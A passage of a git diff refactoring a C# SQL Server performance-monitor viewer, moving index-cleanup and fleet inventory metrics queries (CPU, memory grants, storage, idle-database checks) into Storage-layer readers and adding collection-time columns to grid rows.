-            IndexId = reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5), CultureInfo.InvariantCulture),
-            IndexName = S(6),
-            IndexTypeDesc = S(7),
-            KeyColumns = S(8),
-            IncludedColumns = S(9),
-            FilterDefinition = S(10),
-            IsUnique = B(11),
-            IsUniqueConstraint = B(12),
-            IsPrimaryKey = B(13),
-            IsForeignKey = B(14),
-            IsForeignKeyReference = B(15),
-            IsDisabled = B(16),
-            IsIndexedView = B(17),
-            DataCompressionDesc = S(18),
-            OptimizeForSequentialKey = B(19),
-            FillFactor = Sh(20),
-            IsPadded = B(21),
-            AllowPageLocks = B(22),
-            AllowRowLocks = B(23),
-            UserSeeks = L(24),
-            UserScans = L(25),
-            UserLookups = L(26),
-            UserUpdates = L(27),
-            ReservedMb = D(28),
-            TotalRows = L(29),
-            PartitionCount = I(30),
-            SqlServerStartTime = reader.IsDBNull(31) ? null : reader.GetDateTime(31),
-            RowLockWaitCount = L(32),
-            RowLockWaitInMs = L(33),
-            PageLockWaitCount = L(34),
-            PageLockWaitInMs = L(35),
-            PageLatchWaitCount = L(36),
-            PageLatchWaitInMs = L(37),
-            PageIoLatchWaitCount = L(38),
-            PageIoLatchWaitInMs = L(39),
-        };
-    }
-
-    /// <summary>Reads the latest per-index snapshot for the server and maps each row to the analyzer input contract.</summary>
-    public async Task<List<IndexCleanupIndexInput>> GetIndexCleanupInputsAsync(int serverId, CancellationToken cancellationToken = default)
-    {
-        var inputs = new List<IndexCleanupIndexInput>();
-
-        await using var command = _dataSource.CreateCommand(IndexObjectStatsLatestSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            if (rollup.DatabaseName == null)
+            {
+                continue;
+            }
 
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            inputs.Add(MapToIndexInput(ReadIndexObjectStatsRow(reader)));
+            idByName[rollup.DatabaseName] = idByName.ContainsKey(rollup.DatabaseName) ? null : rollup.DatabaseId;
         }
 
-        return inputs;
+        return result.Recommendations.Select(r => new IndexCleanupRecommendationRow(
+            r, r.DatabaseName != null && idByName.TryGetValue(r.DatabaseName, out var id) ? SnapshotTimeOf(snapshotTimes, id) : null)).ToList();
     }
 
-    /// <summary>Reads the server's latest collected edition/version/start-time facts and derives the analyzer options.</summary>
-    public async Task<IndexCleanupOptions> GetIndexCleanupOptionsAsync(int serverId, CancellationToken cancellationToken = default)
+    private static DateTime? SnapshotTimeOf(IReadOnlyDictionary<int, DateTime>? times, int? databaseId)
     {
-        int? engineEdition = null;
-        string? productVersion = null;
-        DateTime? startTime = null;
-
-        await using var command = _dataSource.CreateCommand(ServerCompressionInfoSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        if (await reader.ReadAsync(cancellationToken))
+        if (times == null || databaseId == null || !times.TryGetValue(databaseId.Value, out var at))
         {
-            engineEdition = reader.IsDBNull(0) ? null : Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture);
-            productVersion = reader.IsDBNull(1) ? null : reader.GetString(1);
-            startTime = reader.IsDBNull(2) ? null : reader.GetDateTime(2);
+            return null;
         }
 
-        /* sqlserver_start_time is the server's LOCAL wall clock, compared to the viewer's local now — mirrors
-           the proc's SYSDATETIME() derivation (both wall-clock; the coarse days measure tolerates any offset). */
-        return DeriveIndexCleanupOptions(engineEdition, productVersion, startTime, DateTime.Now);
+        return at;
     }
 
-    /// <summary>
-    /// The full monitor-side index-cleanup analysis for one server: reads the latest collected snapshot, derives
-    /// the server-fact options, and runs the pure Common analyzer off the UI thread (the dedupe is
-    /// string-comparison-heavy). Returns the analyzer result verbatim — the tab projects it into the grids +
-    /// rollup + banners.
-    /// </summary>
-    public async Task<IndexCleanupAnalysisResult> GetIndexAnalysisAsync(int serverId, CancellationToken cancellationToken = default)
-    {
-        var inputs = await GetIndexCleanupInputsAsync(serverId, cancellationToken);
-        var options = await GetIndexCleanupOptionsAsync(serverId, cancellationToken);
-        return await Task.Run(() => IndexCleanupAnalyzer.Analyze(inputs, options), cancellationToken);
-    }
-
-    /// <summary>Projects the analyzer recommendations into the detail-grid view-models.</summary>
-    public static List<IndexCleanupRecommendationRow> ProjectRecommendations(IndexCleanupAnalysisResult result) =>
-        result.Recommendations.Select(r => new IndexCleanupRecommendationRow(r)).ToList();
-
     /// <summary>
     /// Projects the analyzer rollups into the summary-grid view-models: the overall "ALL DATABASES" total first,
     /// then one row per database.
     /// </summary>
-    public static List<IndexCleanupRollupRow> ProjectRollups(IndexCleanupAnalysisResult result)
+    public static List<IndexCleanupRollupRow> ProjectRollups(IndexCleanupAnalysisResult result, IReadOnlyDictionary<int, DateTime>? snapshotTimes = null)
     {
         var rows = new List<IndexCleanupRollupRow>
         {
             new(result.OverallRollup, "ALL DATABASES"),
         };
-        rows.AddRange(result.DatabaseRollups.Select(r => new IndexCleanupRollupRow(r, r.DatabaseName ?? "")));
+        rows.AddRange(result.DatabaseRollups.Select(r => new IndexCleanupRollupRow(r, r.DatabaseName ?? "", SnapshotTimeOf(snapshotTimes, r.DatabaseId))));
         return rows;
     }
 }
@@ -412,11 +229,18 @@ public sealed class IndexCleanupRecommendationRow
 {
     private readonly IndexCleanupRecommendation _rec;
 
-    public IndexCleanupRecommendationRow(IndexCleanupRecommendation rec)
+    public IndexCleanupRecommendationRow(IndexCleanupRecommendation rec, DateTime? collectionTimeUtc = null)
     {
         _rec = rec;
+        CollectionTimeUtc = collectionTimeUtc;
     }
 
+    /// <summary>When this row's database's snapshot was collected, naive UTC (kind Utc); null when unknown. The Collected column sorts by it.</summary>
+    public DateTime? CollectionTimeUtc { get; }
+
+    /// <summary>That instant to the second in the display zone: the Collected column's text.</summary>
+    public string CollectionTime => PgDisplay.SnapshotTime(CollectionTimeUtc);
+
     public string DatabaseName => _rec.DatabaseName;
     public string SchemaName => _rec.SchemaName;
     public string TableName => _rec.TableName;
@@ -435,27 +259,13 @@ public IndexCleanupRecommendationRow(IndexCleanupRecommendation rec)
     public string OriginalIndexDefinition => _rec.OriginalIndexDefinition;
     public string Script => _rec.Script;
 
-    /// <summary>The single filterable operation label mirroring sp_IndexCleanup's script buckets: MAKE UNIQUE wins over its MERGE bucket; otherwise the result kind names the bucket.</summary>
-    public static string ActionLabelFor(IndexCleanupAction action, IndexCleanupResultKind resultKind)
-    {
-        if (action == IndexCleanupAction.MakeUnique)
-        {
-            return "MAKE UNIQUE";
-        }
-
-        return ResultKindLabelFor(resultKind);
-    }
+    /// <summary>The single filterable operation label mirroring sp_IndexCleanup's script buckets; the mapping lives in the Storage reader.</summary>
+    public static string ActionLabelFor(IndexCleanupAction action, IndexCleanupResultKind resultKind) =>
+        DarlingFinOpsIndexAnalysisReader.ActionLabelFor(action, resultKind);
 
     /// <summary>The display label for a script bucket.</summary>
-    public static string ResultKindLabelFor(IndexCleanupResultKind resultKind) => resultKind switch
-    {
-        IndexCleanupResultKind.Disable => "DISABLE",
-        IndexCleanupResultKind.Merge => "MERGE",
-        IndexCleanupResultKind.Compress => "COMPRESS",
-        IndexCleanupResultKind.Review => "REVIEW",
-        IndexCleanupResultKind.DisableConstraint => "DROP CONSTRAINT",
-        _ => resultKind.ToString().ToUpperInvariant(),
-    };
+    public static string ResultKindLabelFor(IndexCleanupResultKind resultKind) =>
+        DarlingFinOpsIndexAnalysisReader.ResultKindLabelFor(resultKind);
 }
 
 /// <summary>
@@ -467,12 +277,19 @@ public sealed class IndexCleanupRollupRow
 {
     private readonly IndexCleanupRollup _rollup;
 
-    public IndexCleanupRollupRow(IndexCleanupRollup rollup, string scope)
+    public IndexCleanupRollupRow(IndexCleanupRollup rollup, string scope, DateTime? collectionTimeUtc = null)
     {
         _rollup = rollup;
         Scope = scope;
+        CollectionTimeUtc = collectionTimeUtc;
     }
 
+    /// <summary>When this database's newest snapshot was collected, naive UTC (kind Utc); null on the overall row, which spans databases. The Collected column sorts by it.</summary>
+    public DateTime? CollectionTimeUtc { get; }
+
+    /// <summary>That instant to the second in the display zone: the Collected column's text; blank on the overall row.</summary>
+    public string CollectionTime => PgDisplay.SnapshotTime(CollectionTimeUtc);
+
     /// <summary>Database name, or "ALL DATABASES" for the overall total.</summary>
     public string Scope { get; }
 
@@ -518,9 +335,7 @@ public IndexCleanupRollupRow(IndexCleanupRollup rollup, string scope)
     public string AvgLockWaitMs =>
         IsOverall
             ? "N/A"
-            : _rollup.LockWaitCount > 0
-                ? ((decimal)_rollup.LockWaitInMs / _rollup.LockWaitCount).ToString("N2")
-                : "0";
+            : IndexCleanupRollupFigures.AverageWaitMsText(_rollup.LockWaitInMs, _rollup.LockWaitCount);
 
     /// <summary>Page + page-IO latch waits across analyzed indexes; 'N/A' on the overall row.</summary>
     public string LatchWaitCount => IsOverall ? "N/A" : _rollup.LatchWaitCount.ToString("N0");
@@ -529,15 +344,13 @@ public IndexCleanupRollupRow(IndexCleanupRollup rollup, string scope)
     public string AvgLatchWaitMs =>
         IsOverall
             ? "N/A"
-            : _rollup.LatchWaitCount > 0
-                ? ((decimal)_rollup.LatchWaitInMs / _rollup.LatchWaitCount).ToString("N2")
-                : "0";
+            : IndexCleanupRollupFigures.AverageWaitMsText(_rollup.LatchWaitInMs, _rollup.LatchWaitCount);
 
     /* Numeric sort keys for the workload columns — the overall ('N/A') row sorts below every real value, like
        Lite's NumericSortHelper parse of "N/A" (→ -1). ReadsBreakdown sorts as text (no key), matching Lite. */
     public decimal WritesSort => IsOverall ? -1m : _rollup.TotalWrites;
     public decimal LockWaitCountSort => IsOverall ? -1m : _rollup.LockWaitCount;
-    public decimal AvgLockWaitMsSort => IsOverall ? -1m : (_rollup.LockWaitCount > 0 ? (decimal)_rollup.LockWaitInMs / _rollup.LockWaitCount : 0m);
+    public decimal AvgLockWaitMsSort => IsOverall ? -1m : IndexCleanupRollupFigures.AverageWaitMs(_rollup.LockWaitInMs, _rollup.LockWaitCount);
     public decimal LatchWaitCountSort => IsOverall ? -1m : _rollup.LatchWaitCount;
-    public decimal AvgLatchWaitMsSort => IsOverall ? -1m : (_rollup.LatchWaitCount > 0 ? (decimal)_rollup.LatchWaitInMs / _rollup.LatchWaitCount : 0m);
+    public decimal AvgLatchWaitMsSort => IsOverall ? -1m : IndexCleanupRollupFigures.AverageWaitMs(_rollup.LatchWaitInMs, _rollup.LatchWaitCount);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs
index 4ed2f92a55..23d106f974 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs
@@ -10,9 +10,8 @@
 using System.Collections.Generic;
 using System.Threading;
 using System.Threading.Tasks;
-using Npgsql;
-using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -28,369 +27,52 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// </summary>
 public sealed partial class ViewerDataService
 {
-    /// <summary>
-    /// Collected 24h-CPU / storage / idle-DB / provisioning metrics for EVERY server, in one round trip (#4227).
-    /// $1 cpu cutoff (24h), $2 idle cutoff (7d). Used to be one call per server (<c>GetServerMetricsAsync</c>,
-    /// 43 round trips on a 43-server fleet); the five CTEs group naturally by <c>server_id</c>, so they read the
-    /// fleet at once instead — 24h CPU and grants via <c>GROUP BY server_id</c>, latest memory and size snapshots
-    /// via a per-server <c>LATERAL … LIMIT 1</c> descent (the <c>ServerFreshnessSql</c> shape, #3895).
-    ///
-    /// <para><b>The idle-database check</b> used to be a raw 7-day <c>v_query_stats</c> scan per server — the
-    /// #4227 cost. <c>active_dbs</c> below is the RAW shape (this constant, unrouted): every database with any
-    /// execution in <c>[$2, now)</c>. <see cref="ServerMetricsSqlFor"/> routes it instead through the stitched
-    /// rollup (<c>query_stats_db_hourly</c> / <c>_interval_hourly</c>, #3653) for every WHOLE hour, plus raw for
-    /// only the two edges the rollup cannot answer: the partial leading hour the bucket grain can't slice, and
-    /// the trailing range the aggregate — <c>materialized_only = true</c> (#4186 froze the legacy; NEVER read it
-    /// alone) — has not materialized yet. The raw cost then stays in proportion to those two edges rather than
-    /// the whole window, and the check is exact rather than "whatever raw retention still holds" (#4227's other
-    /// finding: a 4-day raw retention silently narrowed a 7-day claim).</para>
-    /// </summary>
-    public const string ServerMetricsSql = @"
-WITH cpu_24h AS (
-    SELECT
-        server_id,
-        AVG(CAST(sqlserver_cpu_utilization AS DECIMAL(5,2))) AS avg_cpu_pct,
-        MAX(sqlserver_cpu_utilization) AS max_cpu_pct,
-        PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY sqlserver_cpu_utilization) AS p95_cpu_pct
-    FROM v_cpu_utilization_stats
-    WHERE collection_time >= $1
-    GROUP BY server_id
-),
-/* Only the worker counts are consumed now: memory_ratio used to feed this read's own CASE, and that
-   CASE was the #2246 bug. The verdict comes from ProvisioningVerdict, so the division would be dead. */
-mem_latest AS (
-    SELECT
-        s.server_id,
-        latest.max_workers_count,
-        latest.current_workers_count
-    FROM servers s
-    CROSS JOIN LATERAL (
-        SELECT max_workers_count, current_workers_count
-        FROM v_memory_stats
-        WHERE server_id = s.server_id
-        ORDER BY collection_time DESC
-        LIMIT 1
-    ) AS latest
-),
-/* Same workspace-memory pressure signals as the drill-down read, so the INVENTORY GRID cannot classify a
-   server by a rule the drill-down no longer uses (#2246 — this grid is the screen the field report was
-   looking at). */
-grants AS (
-    SELECT
-        server_id,
-        MAX(waiter_count) AS max_grant_waiters,
-        SUM(COALESCE(timeout_error_count_delta, 0)) AS grant_timeouts,
-        SUM(COALESCE(forced_grant_count_delta, 0)) AS forced_grants,
-        MAX(100.0 * granted_memory_mb / NULLIF(target_memory_mb, 0)) AS grant_utilization_pct
-    FROM v_memory_grant_stats
-    WHERE collection_time >= $1
-    GROUP BY server_id
-),
-/* The latest size-snapshot TIME per server (LATERAL LIMIT 1, indexed descent), shared by storage_totals
-   (sums every database at that instant) and latest_dbs (the idle check's known-databases universe) so
-   neither re-derives it. */
-size_latest AS (
-    SELECT
-        s.server_id,
-        latest_time.collection_time
-    FROM servers s
-    CROSS JOIN LATERAL (
-        SELECT collection_time
-        FROM v_database_size_stats
-        WHERE server_id = s.server_id
-        ORDER BY collection_time DESC
-        LIMIT 1
-    ) AS latest_time
-),
-storage_totals AS (
-    SELECT
-        sl.server_id,
-        SUM(vd.total_size_mb) / 1024.0 AS total_storage_gb
-    FROM size_latest sl
-    JOIN v_database_size_stats vd
-      ON vd.server_id = sl.server_id
-     AND vd.collection_time = sl.collection_time
-    GROUP BY sl.server_id
-),
-latest_dbs AS (
-    SELECT DISTINCT
-        sl.server_id,
-        vd.database_name
-    FROM size_latest sl
-    JOIN v_database_size_stats vd
-      ON vd.server_id = sl.server_id
-     AND vd.collection_time = sl.collection_time
-    WHERE vd.database_name NOT IN ('master', 'model', 'msdb', 'tempdb', 'PerformanceMonitor')
-),
-active_dbs AS (
-    SELECT DISTINCT server_id, database_name
-    FROM v_query_stats
-    WHERE collection_time >= $2
-    AND   delta_execution_count > 0
-),
-/* LEFT JOIN from servers, not an EXCEPT grouped by server_id: a server whose every known database is
-   active has ZERO rows surviving an EXCEPT, and GROUP BY over zero rows contributes NO ROW for that
-   server at all -- the outer LEFT JOIN then reads idle_db_count as NULL, not 0, and the loader's overlay-
-   only-what-arrived rule (FinOpsTab.Loaders.cs) leaves the grid showing whatever idle count it last had
-   instead of the fresh, correct zero. The old per-server statement never had this trap: its idle_dbs was
-   a bare COUNT(DISTINCT ...) with no GROUP BY, which always returns exactly one row, 0 for zero matches.
-   Rooting this CTE at servers (like size_latest/mem_latest) keeps that same one-row-always guarantee once
-   the read went fleet-wide (#4227, caught by the live parity test). */
-idle_dbs AS (
-    SELECT
-        s.server_id,
-        COUNT(ld.database_name) FILTER (WHERE ad.database_name IS NULL) AS idle_db_count
-    FROM servers s
-    LEFT JOIN latest_dbs ld ON ld.server_id = s.server_id
-    LEFT JOIN active_dbs ad
-      ON ad.server_id = ld.server_id
-     AND ad.database_name = ld.database_name
-    GROUP BY s.server_id
-)
-SELECT
-    s.server_id,
-    c.avg_cpu_pct,
-    st.total_storage_gb,
-    id.idle_db_count,
-    c.max_cpu_pct,
-    c.p95_cpu_pct,
-    COALESCE(m.max_workers_count, 0),
-    m.current_workers_count,
-    COALESCE(g.max_grant_waiters, 0),
-    COALESCE(g.grant_timeouts, 0),
-    COALESCE(g.forced_grants, 0),
-    COALESCE(g.grant_utilization_pct, 0),
-    props.engine_edition,
-    props.edition
-FROM servers s
-LEFT JOIN LATERAL (
-    SELECT engine_edition, edition
-    FROM server_properties
-    WHERE server_id = s.server_id
-    ORDER BY collection_time DESC
-    LIMIT 1
-) AS props ON true
-LEFT JOIN cpu_24h c ON c.server_id = s.server_id
-LEFT JOIN mem_latest m ON m.server_id = s.server_id
-LEFT JOIN storage_totals st ON st.server_id = s.server_id
-LEFT JOIN idle_dbs id ON id.server_id = s.server_id
-LEFT JOIN grants g ON g.server_id = s.server_id
-WHERE s.server_id <> 0";
-
-    /// <summary>The RAW <c>active_dbs</c> CTE in <see cref="ServerMetricsSql"/>, verbatim — the anchor
-    /// <see cref="ServerMetricsSqlFor"/> replaces to route the idle check through the rollup.</summary>
-    private const string IdleActiveDbsRawCte = @"active_dbs AS (
-    SELECT DISTINCT server_id, database_name
-    FROM v_query_stats
-    WHERE collection_time >= $2
-    AND   delta_execution_count > 0
-),";
-
-    /// <summary>
-    /// The routed <c>active_dbs</c>: every WHOLE hour from <paramref name="relationSql"/> (#3653's stitched
-    /// legacy/successor, already split at the successor's own floor) from <paramref name="ceilingHourUtc"/>,
-    /// UNION the raw leading edge <c>[$2, ceilingHour)</c> the bucket grain can't slice, UNION the raw trailing
-    /// edge <c>[watermark, now)</c> the aggregate has not materialized yet (<see cref="RollupMaterializationWatermark"/>).
-    /// Three <c>UNION</c>s rather than one combined predicate because each arm reads a different relation; a
-    /// database counts active if ANY of the three shows an execution (#4227's boolean rule).
-    /// </summary>
-    private static string IdleActiveDbsForCagg(string relationSql, DateTime ceilingHourUtc, DateTime watermarkUtc)
-    {
-        var ceiling = $"TIMESTAMP '{ceilingHourUtc:yyyy-MM-dd HH:mm:ss.ffffff}'";
-        var watermark = $"TIMESTAMP '{watermarkUtc:yyyy-MM-dd HH:mm:ss.ffffff}'";
-
-        return $@"active_dbs AS (
-    SELECT DISTINCT server_id, database_name
-    FROM {relationSql}
-    WHERE bucket >= {ceiling}
-    AND   execution_count_sum > 0
-
-    UNION
-
-    SELECT DISTINCT server_id, database_name
-    FROM v_query_stats
-    WHERE collection_time >= $2
-    AND   collection_time < {ceiling}
-    AND   delta_execution_count > 0
-
-    UNION
+    /// <summary>The fleet metrics read lives in Storage; this alias keeps the viewer's SQL pins on the same text.</summary>
+    public const string ServerMetricsSql = DarlingFinOpsInventoryReader.ServerMetricsSql;
 
-    SELECT DISTINCT server_id, database_name
-    FROM v_query_stats
-    WHERE collection_time >= {watermark}
-    AND   delta_execution_count > 0
-),";
-    }
+    /// <summary><see cref="ServerMetricsSql"/> with the idle check routed through the hourly stitched rollup; the text lives in Storage.</summary>
+    public static string ServerMetricsSqlFor(RollupCoverage coverage, DateTime idleCutoffUtc, DateTime watermarkUtc) =>
+        DarlingFinOpsInventoryReader.ServerMetricsSqlFor(coverage, idleCutoffUtc, watermarkUtc);
 
-    /// <summary>
-    /// <see cref="ServerMetricsSql"/> with the idle check routed through the hourly stitched rollup
-    /// (<paramref name="coverage"/>) for everything at or after <paramref name="watermarkUtc"/>'s bucket ceiling
-    /// back to <c>ceilingHour(idleCutoffUtc)</c>, raw for the two edges outside that. Callers only take this path
-    /// once <see cref="RollupMaterializationWatermark.GetAsync"/> has answered a real watermark for the
-    /// database-grain hourly family — with no watermark (nothing materialized, or the family doesn't exist on
-    /// this store) <see cref="ServerMetricsSql"/> unrouted is the correct read, not this one.
-    /// </summary>
-    public static string ServerMetricsSqlFor(RollupCoverage coverage, DateTime idleCutoffUtc, DateTime watermarkUtc)
+    /// <summary>One fleet server's overlay metrics — <see cref="GetServerMetricsAsync"/>'s per-row result.</summary>
+    public readonly record struct ServerMetricsRow(
+        decimal? AvgCpuPct, decimal? StorageTotalGb, int? IdleDbCount, string? ProvisioningStatus, int? HealthScore = null)
     {
-        ArgumentNullException.ThrowIfNull(coverage);
-
-        var floorHour = TimescaleSupport.AlignDown(idleCutoffUtc, TimescaleSupport.HourlyBucket);
-        var ceilingHour = floorHour == idleCutoffUtc ? floorHour : floorHour + TimescaleSupport.HourlyBucket;
-
-        var relationSql = coverage.StitchedRelationSql(
-            TimescaleSupport.QueryStatsDbHourlyView, "f", ceilingHour, RollupCoverage.StitchTier.Hourly);
-
-        return RouteOrThrow(
-            ServerMetricsSql,
-            IdleActiveDbsRawCte,
-            IdleActiveDbsForCagg(relationSql, ceilingHour, watermarkUtc),
-            "server inventory idle databases");
+        public static ServerMetricsRow From(ServerMetricsDto dto) =>
+            new(dto.AvgCpuPct, dto.StorageTotalGb, dto.IdleDbCount, dto.ProvisioningStatus, dto.HealthScore);
     }
 
-    /// <summary>One fleet server's overlay metrics — <see cref="GetServerMetricsAsync"/>'s per-row result.</summary>
-    public readonly record struct ServerMetricsRow(decimal? AvgCpuPct, decimal? StorageTotalGb, int? IdleDbCount, string? ProvisioningStatus);
-
-    /// <summary>
-    /// Every server's overlay metrics, ONE round trip (#4227). Routes the idle check through the rollup when
-    /// the database-grain hourly family exists here AND has a real materialization watermark (the successor's
-    /// when it exists, else the legacy's — whichever is the LIVE one); falls back to <see cref="ServerMetricsSql"/>
-    /// unrouted — the exact same predicate the fleet used to run per server — when neither holds, which is
-    /// always correct, just the slower path (a plain-PostgreSQL store, or a fresh TimescaleDB store that has not
-    /// materialized anything yet).
-    /// </summary>
+    /// <summary>Every server's overlay metrics in one round trip (#4227); the read lives in Storage and the rollup probe stays cached here.</summary>
     public async Task<Dictionary<int, ServerMetricsRow>> GetServerMetricsAsync(CancellationToken cancellationToken = default)
     {
-        var cpuCutoff = DateTime.UtcNow.AddHours(-24);
-        var idleCutoff = DateTime.UtcNow.AddDays(-7);
-
+        /* The cutoffs are taken before the rollup probe, as they always were. */
+        var nowUtc = DateTime.UtcNow;
         var (rollups, coverage) = await GetRollupAvailabilityAsync(cancellationToken);
 
-        DateTime? watermark = null;
-        if (rollups.DbGrainHourly)
-        {
-            var liveRelation = rollups.DbGrainIntervalHourly
-                ? TimescaleSupport.QueryStatsDbIntervalHourlyView
-                : TimescaleSupport.QueryStatsDbHourlyView;
-            watermark = await RollupMaterializationWatermark.GetAsync(
-                _dataSource, liveRelation, TimescaleSupport.HourlyBucket,
-                ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
-        }
-
-        var sql = watermark is DateTime mark
-            ? ServerMetricsSqlFor(coverage, idleCutoff, mark)
-            : ServerMetricsSql;
-
-        await using var command = _dataSource.CreateCommand(sql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cpuCutoff, DateTimeKind.Unspecified) });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(idleCutoff, DateTimeKind.Unspecified) });
-
-        var results = new Dictionary<int, ServerMetricsRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            /* The verdict is computed HERE rather than as a SQL CASE, so this grid and the drill-down
-               cannot disagree — they now call the same predicate. The old inline CASE was copies 5 and 6
-               of the ratio bug, on the screen the field report was actually looking at (#2246). */
-            var status = FleetProvisioningStatusFor(reader);
-
-            results[reader.GetInt32(0)] = new ServerMetricsRow(
-                reader.IsDBNull(1) ? null : Convert.ToDecimal(reader.GetValue(1)),
-                reader.IsDBNull(2) ? null : Convert.ToDecimal(reader.GetValue(2)),
-                reader.IsDBNull(3) ? null : Convert.ToInt32(reader.GetValue(3)),
-                status);
-        }
+        var dtos = await DarlingFinOpsInventoryReader.GetServerMetricsAsync(
+            _dataSource, rollups, coverage, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, nowUtc, cancellationToken);
 
+        var results = new Dictionary<int, ServerMetricsRow>(dtos.Count);
+        foreach (var (serverId, dto) in dtos) results[serverId] = ServerMetricsRow.From(dto);
         return results;
     }
 
-    /// <summary>
-    /// The provisioning verdict for one fleet-read row, or null when the server has no CPU sample in the
-    /// 24-hour window (its average CPU is NULL).
-    ///
-    /// <para>Null, not a verdict from zeros: with nothing to average, <c>Evaluate</c> reads 0% CPU and calls
-    /// the server OVER_PROVISIONED — a server that has sent no CPU sample is told to shrink. The Server
-    /// Inventory grid already shows a null status as blank. A server WITH CPU samples gets the same verdict as
-    /// before, except that a logical server's master gets the N/A verdict. Ordinals match the fleet SELECT: 1 avg CPU,
-    /// 4 max CPU, 5 p95 CPU, 6 max workers, 7 current workers, 8 grant waiters, 9 grant timeouts, 10 forced grants,
-    /// 11 grant utilization, 12 engine edition, 13 edition.</para>
-    /// </summary>
-    internal static string? FleetProvisioningStatusFor(System.Data.Common.DbDataReader reader)
-    {
-        if (reader.IsDBNull(1)) return null;
+    /// <summary>The provisioning verdict for one fleet-read row (see the Storage reader); kept here for the viewer's pins.</summary>
+    internal static string? FleetProvisioningStatusFor(System.Data.Common.DbDataReader reader) =>
+        DarlingFinOpsInventoryReader.FleetProvisioningStatusFor(reader);
 
-        return ProvisioningVerdict.Evaluate(
-            avgCpuPercent: Convert.ToDecimal(reader.GetValue(1)),
-            maxCpuPercent: reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
-            p95CpuPercent: reader.IsDBNull(5) ? 0m : Convert.ToDecimal(reader.GetValue(5)),
-            maxGrantWaiters: reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
-            grantTimeouts: reader.IsDBNull(9) ? 0L : Convert.ToInt64(reader.GetValue(9)),
-            forcedGrants: reader.IsDBNull(10) ? 0L : Convert.ToInt64(reader.GetValue(10)),
-            grantUtilizationPercent: reader.IsDBNull(11) ? 0m : Convert.ToDecimal(reader.GetValue(11)),
-            maxWorkers: reader.IsDBNull(6) ? 0 : Convert.ToInt32(reader.GetValue(6)),
-            currentWorkers: reader.IsDBNull(7) ? (int?)null : Convert.ToInt32(reader.GetValue(7)),
-            engineEdition: reader.IsDBNull(12) ? null : Convert.ToInt32(reader.GetValue(12)),
-            edition: reader.IsDBNull(13) ? null : reader.GetString(13));
-    }
-
-    /// <summary>
-    /// #1591: the Hardware Note for one inventory row, or null when hardware is present.
-    ///
-    /// <para>PURE so the rule is testable without a store — the codebase's pattern for read-path decisions. Keyed
-    /// on cpu_count AND physical_memory_mb both being absent, because they come from the same guarded
-    /// <c>sys.dm_os_sys_info</c> read in the collector: either that read succeeded and both are populated, or it
-    /// was denied and both are NULL. Requiring both guards against annotating a server over a single odd NULL.</para>
-    ///
-    /// <para>Without this the grid renders the <c>IsDBNull ? 0</c> coalesce as a literal 0, which reads as "this
-    /// server has no CPUs and no memory" rather than "we were not allowed to look".</para>
-    /// </summary>
+    /// <summary>#1591: the Hardware Note for one inventory row (see the Storage reader).</summary>
     internal static string? HardwareNoteFor(bool cpuCountIsNull, bool physicalMemoryIsNull) =>
-        cpuCountIsNull && physicalMemoryIsNull
-            ? "Hardware inventory (CPU, memory, sockets) unavailable - the monitoring login likely lacks VIEW SERVER STATE (VIEW DATABASE STATE on Azure SQL DB) on this server."
-            : null;
+        DarlingFinOpsInventoryReader.HardwareNoteFor(cpuCountIsNull, physicalMemoryIsNull);
+
+    /// <summary>Latest collected properties per server joined to the registry; the text lives in Storage.</summary>
+    public const string ServerInventorySql = DarlingFinOpsInventoryReader.ServerInventorySql;
 
     /// <summary>
-    /// Latest collected properties per server joined to the registry — the Server Inventory base rows (metrics
-    /// overlaid per row by the loader). DISTINCT ON keeps each server's newest server_properties row.
+    /// <paramref name="includeRemoved"/> is the reader's <c>include_removed</c>: off lists only the configured servers (the
+    /// default), on also lists the ones removed from the configuration, which the "Show removed servers" checkbox asks for.
     /// </summary>
-    public const string ServerInventorySql = @"
-SELECT
-    sp.server_id,
-    COALESCE(s.display_name, s.server_name) AS server_name,
-    sp.edition,
-    sp.product_version,
-    sp.product_level,
-    sp.product_update_level,
-    sp.engine_edition,
-    sp.cpu_count,
-    sp.physical_memory_mb,
-    sp.socket_count,
-    sp.cores_per_socket,
-    sp.is_hadr_enabled,
-    sp.is_clustered,
-    sp.collection_time,
-    sp.sqlserver_start_time,
-    sp.host_os_version,
-    sp.ag_replica_role,
-    s.is_enabled,
-    COALESCE(s.monthly_cost_usd, 0) AS monthly_cost_usd,
-    /* #2359: real collection freshness, which is NOT what sp.collection_time means. server_properties
-       has FrequencyMinutes 0 - collected once on server load - so its timestamp is the last service
-       start, not a heartbeat. Appended LAST so no existing reader ordinal moves. */
-    (SELECT MAX(cl.collection_time) FROM v_collection_log cl WHERE cl.server_id = sp.server_id) AS last_collection
-FROM (
-    SELECT DISTINCT ON (server_id)
-        server_id, edition, product_version, product_level, product_update_level,
